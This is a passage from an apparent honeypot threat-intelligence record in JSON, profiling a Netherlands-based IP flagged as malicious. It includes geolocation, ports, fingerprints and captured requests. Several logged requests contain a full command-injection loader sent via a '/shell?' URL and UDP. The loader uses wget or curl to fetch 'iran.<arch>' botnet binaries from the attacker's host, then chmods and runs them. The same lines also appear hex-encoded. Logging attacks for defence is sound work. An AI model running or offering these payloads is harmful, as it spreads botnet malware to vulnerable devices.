{"ip":"94.154.43.242","total_events":28,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"5 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["5 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 12,356 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"12,356 bytes sent","bytes_sent":12356,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-17T21:14:40","last_seen":"2026-10-05T19:17:57","events_24h":8,"events_7d":8,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"udp":{"source_verified":false,"window_days":90,"events":1,"protocols":[{"protocol":"udp","events":1}],"ports":[{"port":9034,"events":1}],"dns_questions":[],"quic_clients":[],"first_seen":"2026-10-05T18:38:37","last_seen":"2026-10-05T18:38:37","recent":[{"timestamp":"2026-10-05T18:38:37","port":9034,"src_port":32845,"proto":"udp","app_proto":"","app_protocol":"","summary":"wget http://94.154.43.242/iran.mips -O mips || curl http://94.154.43.242/iran.mips -o mips; chmod 777 mips; ./mips catloader; wget http://94.154.43.242/iran.mipsel -O mipsel || curl http://94.154.43.242/iran.mipsel -o mipsel; chmod 777 mipsel; ./mipsel catloader;","payload_hex":"7767657420687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073202d4f206d697073207c7c206375726c20687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073202d6f206d6970733b2063686d6f6420373737206d6970733b202e2f6d697073206361746c6f616465723b207767657420687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c202d4f206d697073656c207c7c206375726c20687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c202d6f206d697073656c3b2063686d6f6420373737206d697073656c3b202e2f6d697073656c206361746c6f616465723b","sni":"","session":"2ae3e8c1-70e1-43d5-8032-f1e5077bd3bb","bytes_in":263,"source_verified":false,"enriched":{"digest":"bda49089e137f1a8","strings":["wget http://94.154.43.242/iran.mips -O mips || curl http://94.154.43.242/iran.mi…"],"iocs":{"urls":["http://94.154.43.242/iran.mips","http://94.154.43.242/iran.mi…"],"ips":["94.154.43.242"],"domains":["iran.mips","iran.mi"],"paths":["/94.154.43.242/iran.mips","/94.154.43.242/iran.mi"]}}}]},"top_ports":[{"port":8080,"proto":"tcp","label":"HTTP-alt","count":20},{"port":5500,"proto":"tcp","label":"","count":5},{"port":5555,"proto":"tcp","label":"","count":2},{"port":80,"proto":"tcp","label":"HTTP","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun030_00040012_13ee3d34","b11cun070_0014001f_85240426","b11cun070_0004003f_8a4d1a98"]},"fingerprint_peers":{"b11cun030_00040012_13ee3d34":4802,"b11cun070_0004003f_8a4d1a98":12,"b11cun070_0014001f_85240426":12},"akin_families":{"b11cun070_0014001f_85240426":{"head":"b11cun070_0014001f_85240426","shapes":2,"ips":12}},"user_agents":["Linux Gnu (cow)","Go-http-client/1.1","KrebsOnSecurity"],"timeline":[{"date":"2026-09-17","count":1},{"date":"2026-09-18","count":5},{"date":"2026-09-19","count":1},{"date":"2026-09-20","count":4},{"date":"2026-09-21","count":6},{"date":"2026-09-25","count":1},{"date":"2026-09-27","count":2},{"date":"2026-10-05","count":8}],"recent_events":[{"timestamp":"2026-10-05T19:17:57","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-GB,en;q=0.5\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"Linux Gnu (cow)\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a204c696e757820476e752028636f7729200d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d47422c656e3b713d302e350d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"Linux Gnu (cow)","ja3":"","session":"ac666922-2c88-41f0-b524-bc92e12d648a","seq":1,"duration_ms":100,"bytes_in":271,"bytes_out":78},{"timestamp":"2026-10-05T16:45:01","port":5500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:5500\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?sh+/cd+/tmp;wget+http://94.154.43.242/iran.arm+-O+arm||curl+http://94.154.43.242/iran.arm+-o+arm;chmod+777+arm;./arm+catloader;wget+http://94.154.43.242/iran.armv4l+-O+armv4l||curl+http://94.154.43.242/iran.armv4l+-o+armv4l;chmod+777+armv4l;./armv4l+catloader;wget+http://94.154.43.242/iran.armv5l+-O+armv5l||curl+http://94.154.43.242/iran.armv5l+-o+armv5l;chmod+777+armv5l;./armv5l+catloader;wget+http://94.154.43.242/iran.armv6l+-O+armv6l||curl+http://94.154.43.242/iran.armv6l+-o+armv6l;chmod+777+armv6l;./armv6l+catloader;wget+http://94.154.43.242/iran.armv7l+-O+armv7l||curl+http://94.154.43.242/iran.armv7l+-o+armv7l;chmod+777+armv7l;./armv7l+catloader;wget+http://94.154.43.242/iran.aarch64+-O+aarch64||curl+http://94.154.43.242/iran.aarch64+-o+aarch64;chmod+777+aarch64;./aarch64+catloader;wget+http://94.154.43.242/iran.mips+-O+mips||curl+http://94.154.43.242/iran.mips+-o+mips;chmod+777+mips;./mips+catloader;wget+http://94.154.43.242/iran.mipsel+-O+mipsel||curl+http://94.154.43.242/iran.mipsel+-o+mipsel;chmod+777+mipsel;./mipsel+catloader;wget+http://94.154.43.242/iran.powerpc+-O+powerpc||curl+http://94.154.43.242/iran.powerpc+-o+powerpc;chmod+777+powerpc;./powerpc+catloader;wget+http://94.154.43.242/iran.m68k+-O+m68k||curl+http://94.154.43.242/iran.m68k+-o+m68k;chmod+777+m68k;./m68k+catloader;wget+http://94.154.43.242/iran.sparc+-O+sparc||curl+http://94.154.43.242/iran.sparc+-o+sparc;chmod+777+sparc;./sparc+catloader;wget+http://94.154.43.242/iran.sh4+-O+sh4||curl+http://94.154.43.242/iran.sh4+-o+sh4;chmod+777+sh4;./sh4+catloader;wget+http://94.154.43.242/iran.arc+-O+arc||curl+http://94.154.43.242/iran.arc+-o+arc;chmod+777+arc;./arc+catloader","summary":"","payload_hex":"474554202f7368656c6c3f73682b2f63642b2f746d703b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d4f2b61726d7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d6f2b61726d3b63686d6f642b3737372b61726d3b2e2f61726d2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d4f2b61726d76346c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d6f2b61726d76346c3b63686d6f642b3737372b61726d76346c3b2e2f61726d76346c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d4f2b61726d76356c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d6f2b61726d76356c3b63686d6f642b3737372b61726d76356c3b2e2f61726d76356c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d4f2b61726d76366c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d6f2b61726d76366c3b63686d6f642b3737372b61726d76366c3b2e2f61726d76366c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d4f2b61726d76376c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d6f2b61726d76376c3b63686d6f642b3737372b61726d76376c3b2e2f61726d76376c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d4f2b616172636836347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d6f2b616172636836343b63686d6f642b3737372b616172636836343b2e2f616172636836342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d4f2b6d6970737c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d6f2b6d6970733b63686d6f642b3737372b6d6970733b2e2f6d6970732b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d4f2b6d697073656c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d6f2b6d697073656c3b63686d6f642b3737372b6d697073656c3b2e2f6d697073656c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d4f2b706f77657270637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d6f2b706f77657270633b63686d6f642b3737372b706f77657270633b2e2f706f77657270632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d4f2b6d36386b7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d6f2b6d36386b3b63686d6f642b3737372b6d36386b3b2e2f6d36386b2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d4f2b73706172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d6f2b73706172633b63686d6f642b3737372b73706172633b2e2f73706172632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d4f2b7368347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d6f2b7368343b63686d6f642b3737372b7368343b2e2f7368342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d4f2b6172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d6f2b6172633b63686d6f642b3737372b6172633b2e2f6172632b6361746c6f6164657220485454502f312e310d0a486f73743a20<HONEYPOT>3a353530300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"aac24f5e-5118-40d4-9c3d-3a3cfb3a9b38","seq":1,"duration_ms":100,"bytes_in":1991,"bytes_out":78},{"timestamp":"2026-10-05T16:14:05","port":5500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:5500\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?sh+/cd+/tmp;wget+http://94.154.43.242/iran.arm+-O+arm||curl+http://94.154.43.242/iran.arm+-o+arm;chmod+777+arm;./arm+catloader;wget+http://94.154.43.242/iran.armv4l+-O+armv4l||curl+http://94.154.43.242/iran.armv4l+-o+armv4l;chmod+777+armv4l;./armv4l+catloader;wget+http://94.154.43.242/iran.armv5l+-O+armv5l||curl+http://94.154.43.242/iran.armv5l+-o+armv5l;chmod+777+armv5l;./armv5l+catloader;wget+http://94.154.43.242/iran.armv6l+-O+armv6l||curl+http://94.154.43.242/iran.armv6l+-o+armv6l;chmod+777+armv6l;./armv6l+catloader;wget+http://94.154.43.242/iran.armv7l+-O+armv7l||curl+http://94.154.43.242/iran.armv7l+-o+armv7l;chmod+777+armv7l;./armv7l+catloader;wget+http://94.154.43.242/iran.aarch64+-O+aarch64||curl+http://94.154.43.242/iran.aarch64+-o+aarch64;chmod+777+aarch64;./aarch64+catloader;wget+http://94.154.43.242/iran.mips+-O+mips||curl+http://94.154.43.242/iran.mips+-o+mips;chmod+777+mips;./mips+catloader;wget+http://94.154.43.242/iran.mipsel+-O+mipsel||curl+http://94.154.43.242/iran.mipsel+-o+mipsel;chmod+777+mipsel;./mipsel+catloader;wget+http://94.154.43.242/iran.powerpc+-O+powerpc||curl+http://94.154.43.242/iran.powerpc+-o+powerpc;chmod+777+powerpc;./powerpc+catloader;wget+http://94.154.43.242/iran.m68k+-O+m68k||curl+http://94.154.43.242/iran.m68k+-o+m68k;chmod+777+m68k;./m68k+catloader;wget+http://94.154.43.242/iran.sparc+-O+sparc||curl+http://94.154.43.242/iran.sparc+-o+sparc;chmod+777+sparc;./sparc+catloader;wget+http://94.154.43.242/iran.sh4+-O+sh4||curl+http://94.154.43.242/iran.sh4+-o+sh4;chmod+777+sh4;./sh4+catloader;wget+http://94.154.43.242/iran.arc+-O+arc||curl+http://94.154.43.242/iran.arc+-o+arc;chmod+777+arc;./arc+catloader","summary":"","payload_hex":"474554202f7368656c6c3f73682b2f63642b2f746d703b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d4f2b61726d7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d6f2b61726d3b63686d6f642b3737372b61726d3b2e2f61726d2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d4f2b61726d76346c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d6f2b61726d76346c3b63686d6f642b3737372b61726d76346c3b2e2f61726d76346c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d4f2b61726d76356c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d6f2b61726d76356c3b63686d6f642b3737372b61726d76356c3b2e2f61726d76356c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d4f2b61726d76366c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d6f2b61726d76366c3b63686d6f642b3737372b61726d76366c3b2e2f61726d76366c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d4f2b61726d76376c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d6f2b61726d76376c3b63686d6f642b3737372b61726d76376c3b2e2f61726d76376c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d4f2b616172636836347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d6f2b616172636836343b63686d6f642b3737372b616172636836343b2e2f616172636836342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d4f2b6d6970737c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d6f2b6d6970733b63686d6f642b3737372b6d6970733b2e2f6d6970732b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d4f2b6d697073656c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d6f2b6d697073656c3b63686d6f642b3737372b6d697073656c3b2e2f6d697073656c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d4f2b706f77657270637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d6f2b706f77657270633b63686d6f642b3737372b706f77657270633b2e2f706f77657270632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d4f2b6d36386b7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d6f2b6d36386b3b63686d6f642b3737372b6d36386b3b2e2f6d36386b2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d4f2b73706172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d6f2b73706172633b63686d6f642b3737372b73706172633b2e2f73706172632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d4f2b7368347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d6f2b7368343b63686d6f642b3737372b7368343b2e2f7368342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d4f2b6172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d6f2b6172633b63686d6f642b3737372b6172633b2e2f6172632b6361746c6f6164657220485454502f312e310d0a486f73743a20<HONEYPOT>3a353530300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"7e60e71a-591b-4d62-ae36-8ff715422e30","seq":1,"duration_ms":100,"bytes_in":1990,"bytes_out":78},{"timestamp":"2026-10-05T15:27:26","port":5500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:5500\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?sh+/cd+/tmp;wget+http://94.154.43.242/iran.arm+-O+arm||curl+http://94.154.43.242/iran.arm+-o+arm;chmod+777+arm;./arm+catloader;wget+http://94.154.43.242/iran.armv4l+-O+armv4l||curl+http://94.154.43.242/iran.armv4l+-o+armv4l;chmod+777+armv4l;./armv4l+catloader;wget+http://94.154.43.242/iran.armv5l+-O+armv5l||curl+http://94.154.43.242/iran.armv5l+-o+armv5l;chmod+777+armv5l;./armv5l+catloader;wget+http://94.154.43.242/iran.armv6l+-O+armv6l||curl+http://94.154.43.242/iran.armv6l+-o+armv6l;chmod+777+armv6l;./armv6l+catloader;wget+http://94.154.43.242/iran.armv7l+-O+armv7l||curl+http://94.154.43.242/iran.armv7l+-o+armv7l;chmod+777+armv7l;./armv7l+catloader;wget+http://94.154.43.242/iran.aarch64+-O+aarch64||curl+http://94.154.43.242/iran.aarch64+-o+aarch64;chmod+777+aarch64;./aarch64+catloader;wget+http://94.154.43.242/iran.mips+-O+mips||curl+http://94.154.43.242/iran.mips+-o+mips;chmod+777+mips;./mips+catloader;wget+http://94.154.43.242/iran.mipsel+-O+mipsel||curl+http://94.154.43.242/iran.mipsel+-o+mipsel;chmod+777+mipsel;./mipsel+catloader;wget+http://94.154.43.242/iran.powerpc+-O+powerpc||curl+http://94.154.43.242/iran.powerpc+-o+powerpc;chmod+777+powerpc;./powerpc+catloader;wget+http://94.154.43.242/iran.m68k+-O+m68k||curl+http://94.154.43.242/iran.m68k+-o+m68k;chmod+777+m68k;./m68k+catloader;wget+http://94.154.43.242/iran.sparc+-O+sparc||curl+http://94.154.43.242/iran.sparc+-o+sparc;chmod+777+sparc;./sparc+catloader;wget+http://94.154.43.242/iran.sh4+-O+sh4||curl+http://94.154.43.242/iran.sh4+-o+sh4;chmod+777+sh4;./sh4+catloader;wget+http://94.154.43.242/iran.arc+-O+arc||curl+http://94.154.43.242/iran.arc+-o+arc;chmod+777+arc;./arc+catloader","summary":"","payload_hex":"474554202f7368656c6c3f73682b2f63642b2f746d703b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d4f2b61726d7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d6f2b61726d3b63686d6f642b3737372b61726d3b2e2f61726d2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d4f2b61726d76346c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d6f2b61726d76346c3b63686d6f642b3737372b61726d76346c3b2e2f61726d76346c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d4f2b61726d76356c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76356c2b2d6f2b61726d76356c3b63686d6f642b3737372b61726d76356c3b2e2f61726d76356c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d4f2b61726d76366c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76366c2b2d6f2b61726d76366c3b63686d6f642b3737372b61726d76366c3b2e2f61726d76366c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d4f2b61726d76376c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76376c2b2d6f2b61726d76376c3b63686d6f642b3737372b61726d76376c3b2e2f61726d76376c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d4f2b616172636836347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e616172636836342b2d6f2b616172636836343b63686d6f642b3737372b616172636836343b2e2f616172636836342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d4f2b6d6970737c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d6970732b2d6f2b6d6970733b63686d6f642b3737372b6d6970733b2e2f6d6970732b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d4f2b6d697073656c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d697073656c2b2d6f2b6d697073656c3b63686d6f642b3737372b6d697073656c3b2e2f6d697073656c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d4f2b706f77657270637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e706f77657270632b2d6f2b706f77657270633b63686d6f642b3737372b706f77657270633b2e2f706f77657270632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d4f2b6d36386b7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6d36386b2b2d6f2b6d36386b3b63686d6f642b3737372b6d36386b3b2e2f6d36386b2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d4f2b73706172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e73706172632b2d6f2b73706172633b63686d6f642b3737372b73706172633b2e2f73706172632b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d4f2b7368347c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e7368342b2d6f2b7368343b63686d6f642b3737372b7368343b2e2f7368342b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d4f2b6172637c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e6172632b2d6f2b6172633b63686d6f642b3737372b6172633b2e2f6172632b6361746c6f6164657220485454502f312e310d0a486f73743a20<HONEYPOT>3a353530300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"484a872b-5070-40a4-af23-ded8d74b6871","seq":1,"duration_ms":101,"bytes_in":1990,"bytes_out":78},{"timestamp":"2026-10-05T15:24:50","port":5500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:5500\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?sh+/cd+/tmp;wget+http://94.154.43.242/iran.arm+-O+arm||curl+http://94.154.43.242/iran.arm+-o+arm;chmod+777+arm;./arm+catloader;wget+http://94.154.43.242/iran.armv4l+-O+armv4l||curl+http://94.154.43.242/iran.armv4l+-o+armv4l;chmod+777+armv4l;./armv4l+catloader;wget+http://94.154.43.242/iran.armv5l+-O+armv5l||curl+http://94.154.43.242/iran.armv5l+-o+armv5l;chmod+777+armv5l;./armv5l+catloader;wget+http://94.154.43.242/iran.armv6l+-O+armv6l||curl+http://94.154.43.242/iran.armv6l+-o+armv6l;chmod+777+armv6l;./armv6l+catloader;wget+http://94.154.43.242/iran.armv7l+-O+armv7l||curl+http://94.154.43.242/iran.armv7l+-o+armv7l;chmod+777+armv7l;./armv7l+catloader;wget+http://94.154.43.242/iran.aarch64+-O+aarch64||curl+http://94.154.43.242/iran.aarch64+-o+aarch64;chmod+777+aarch64;./aarch64+catloader;wget+http://94.154.43.242/iran.mips+-O+mips||curl+http://94.154.43.242/iran.mips+-o+mips;chmod+777+mips;./mips+catloader;wget+http://94.154.43.242/iran.mipsel+-O+mipsel||curl+http://94.154.43.242/iran.mipsel+-o+mipsel;chmod+777+mipsel;./mipsel+catloader;wget+http://94.154.43.242/iran.powerpc+-O+powerpc||curl+http://94.154.43.242/iran.powerpc+-o+powerpc;chmod+777+powerpc;./powerpc+catloader;wget+http://94.154.43.242/iran.m68k+-O+m68k||curl+http://94.154.43.242/iran.m68k+-o+m68k;chmod+777+m68k;./m68k+catloader;wget+http://94.154.43.242/iran.sparc+-O+sparc||curl+http://94.154.43.242/iran.sparc+-o+sparc;chmod+777+sparc;./sparc+catloader;wget+http://94.154.43.242/iran.sh4+-O+sh4||curl+http://94.154.43.242/iran.sh4+-o+sh4;chmod+777+sh4;./sh4+catloader;wget+http://94.154.43.242/iran.arc+-O+arc||curl+http://94.154.43.242/iran.arc+-o+arc;chmod+777+arc;./arc+catloader","summary":"","payload_hex":"474554202f7368656c6c3f73682b2f63642b2f746d703b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d4f2b61726d7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d2b2d6f2b61726d3b63686d6f642b3737372b61726d3b2e2f61726d2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d4f2b61726d76346c7c7c6375726c2b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76346c2b2d6f2b61726d76346c3b63686d6f642b3737372b61726d76346c3b2e2f61726d76346c2b6361746c6f616465723b776765742b687474703a2f2f39342e3135342e34332e3234322f6972616e2e61726d76